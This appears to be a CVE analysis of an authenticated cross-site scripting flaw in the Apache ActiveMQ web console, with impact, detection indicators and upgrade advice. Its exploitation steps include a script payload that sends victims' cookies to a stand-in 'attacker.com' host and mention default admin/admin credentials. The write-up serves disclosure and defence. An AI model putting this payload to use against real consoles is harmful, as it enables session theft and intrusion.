CVE-2026-41043: 
Java vulnerability analysis and mitigation

CVE-2026-41043 is a Cross-Site Scripting (XSS) vulnerability in Apache ActiveMQ and Apache ActiveMQ Web that allows an authenticated attacker to inject malicious HTML content into the web console by overriding the content type from XML to HTML and injecting payloads into JMS selector fields. The vulnerability was disclosed on April 23–24, 2026, and was discovered by Khaled Alshammri (Apache Advisory, oss-security). Affected versions include Apache ActiveMQ and Apache ActiveMQ Web before 5.19.6, and versions 6.0.0 through before 6.2.5. It carries a CVSS v3.1 base score of 6.5 (Medium) (GitHub Advisory).

The root cause is improper neutralization of script-related HTML tags in a web page (CWE-79 — Cross-Site Scripting), with an additional classification of CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes) (GitHub Advisory). An authenticated attacker exploits the vulnerability by crafting a JMS message with a malicious selector field and overriding the HTTP content type header to text/html instead of the expected text/xml, causing the ActiveMQ web console to render the injected content as HTML when other users browse queues (Apache Advisory). The attack vector is network-based, requires low attack complexity, and no user interaction beyond the victim browsing the affected queue view in the web console. No public proof-of-concept exploit code has been identified at this time (Feedly).

Successful exploitation allows an authenticated attacker to display malicious HTML/JavaScript content to other users who browse queues in the ActiveMQ web console, enabling client-side attacks such as session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious websites (Apache Advisory). The confidentiality and integrity impacts are rated as low, with no direct availability impact, as the vulnerability does not grant server-side code execution or direct access to backend data (GitHub Advisory). The scope is limited to the web console's browser context, but stolen session tokens could potentially enable further unauthorized access to the ActiveMQ management interface.

There is no evidence of public proof-of-concept exploit code or active in-the-wild exploitation as of the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.023–0.241%, placing it in the 48th percentile for exploitation probability within 30 days (GitHub Advisory). Exploitation requires authenticated access to the ActiveMQ web console, which limits the attack surface compared to unauthenticated vulnerabilities. Nessus detection plugins (IDs 310127 and 311265) are available for identifying vulnerable instances (Feedly).

1. Gain authenticated access: Obtain valid credentials for the Apache ActiveMQ web console (default credentials such as admin/admin are commonly left unchanged in misconfigured deployments).
2. Identify a target queue: Navigate to the ActiveMQ web console and identify a queue that other privileged users (e.g., administrators) are likely to browse.
3. Craft a malicious JMS message: Send a JMS message to the target queue with a JMS selector field containing injected HTML/JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Override content type: Manipulate the HTTP request to the web console so that the content type is set to text/html instead of text/xml, causing the browser to render the injected content as HTML rather than displaying it as raw XML.
5. Wait for victim interaction: When another authenticated user browses the queue in the web console, the injected script executes in their browser context, potentially stealing session cookies or performing actions on their behalf (Apache Advisory, oss-security).

• Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after browsing the ActiveMQ web console queue view; unusual GET/POST requests to attacker-controlled URLs containing encoded cookie or session data.
• Logs: ActiveMQ web console access logs showing requests to queue browsing endpoints (e.g., /admin/browse.jsp) with unusual or encoded content-type parameters; HTTP responses with Content-Type: text/html where text/xml is expected.
• Application Behavior: JMS messages in queues containing HTML tags or JavaScript within selector fields (e.g., <script>, <img src=x onerror=...>, <iframe>); unexpected content rendering in the web console queue browser.
• Session: Unexplained authenticated sessions or actions in the ActiveMQ web console not attributable to known administrators, potentially indicating session hijacking following XSS exploitation.

Users are recommended to upgrade Apache ActiveMQ and Apache ActiveMQ Web to version 5.19.6 (for the 5.x branch) or 6.2.5 (for the 6.x branch), which contain the fix (Apache Advisory). As interim mitigations, restrict access to the ActiveMQ web console to trusted, authenticated users only, and implement network segmentation to prevent broad access to the console interface (Feedly). Additionally, change default credentials (admin/admin) if not already done, and monitor web console activity for suspicious queue browsing behavior.

The vulnerability was announced on the oss-security mailing list by Christopher L. Shannon on April 23, 2026, and credited to finder Khaled Alshammri (oss-security). A security advisory from CyberShelter noted the vulnerability alongside other Apache ActiveMQ issues, framing it in the context of broader messaging infrastructure security risks (SecureReading). Community reaction has been moderate given the authenticated-only attack requirement and medium severity rating, with no significant controversy or widespread alarm noted.